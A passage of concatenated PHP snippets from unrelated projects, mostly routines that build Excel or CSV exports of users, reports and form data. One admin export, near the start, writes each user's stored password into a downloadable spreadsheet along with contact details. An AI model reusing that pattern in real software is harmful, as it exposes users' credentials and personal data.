\t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "abstract protected function getRowsHeader(): array;", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "abstract protected function excel ();", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function makeExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-tpl.xls');\n\n\t\t$baseRow = 11; // base row in template file\n\t\t\n\t\tforeach($data as $r => $dataRow) {\n\t\t\t$row = $baseRow + ($r+1);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($row,1);\n\t\t\t\n\t\t\tif (!empty($dataRow)){\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, ucfirst($dataRow['zone']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row, ucfirst($dataRow['village']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row, ucfirst($dataRow['prod_name']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row, $dataRow['unit_measure']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row, $dataRow['quantity']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('F'.$row, ucfirst($dataRow['quality']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('G'.$row, $dataRow['price']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('H'.$row,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_fname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_lname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t 'TEL: ' . $dataRow['contact_tel']);\n\t\t\t}\n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->removeRow($baseRow-1,1);\n\t\t\n\t\t// fill data area with white color\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$baseRow .':'.'H'.$row)\n\t\t\t\t\t->getFill()\n\t\t\t\t\t->applyFromArray(\n \t\t\t\t\t\t\t array(\n \t\t \t\t 'type' \t=> PHPExcel_Style_Fill::FILL_SOLID,\n \t\t\t\t\t\t 'startcolor' \t=> array('rgb' => 'FFFFFF'),\n \t\t\t\t \t 'endcolor' \t=> array('rgb' => 'FFFFFF')\n \t\t\t\t\t ));\n\t\t\n\t\t$comNo = $dataRow['com_number'];\n\t\t$deliveryDate = date('d-m-Y', strtotime($dataRow['ts_date_delivered']));\n\t\t\n\t\t$ComTitle = \"INFORMATION SUR LES PRODUITS FORESTIERS NON LIGNEUX DU \" .\n\t\t \"CERCLE DE TOMINIAN No: $comNo Du $deliveryDate\";\n\t\t\n\t\t$titleRow = $baseRow-1;\n\t\t// create new row\n\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($titleRow,1);\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->mergeCells('A'.$titleRow. ':'.'H'.$titleRow)\n\t\t\t\t\t->setCellValue('A'.$titleRow, $ComTitle)\n\t\t\t\t\t->getStyle('A'.$titleRow)->getFont()\n\t\t\t\t\t->setBold(true)\n\t\t\t\t\t->setSize(13)\n\t\t\t\t\t->setColor(new PHPExcel_Style_Color());\n\t\t\t\t\t\n\t//\t$objPHPExcel->getActiveSheet()->getRowDimension('A'.$titleRow)->setRowHeight(10);\n\t\t\t\t\t\n\t\t$title = 'ComNo'.$comNo;\n\t\t// set title of sheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\n\t\t// Redirect output to a client’s web browser (Excel5)\n\t\theader('Content-Type: application/vnd.ms-excel');\n\t\theader('Content-Disposition: attachment;filename=\"communique.xls\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\t$objWriter->save('php://output');\n\t\texit;\n\t}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 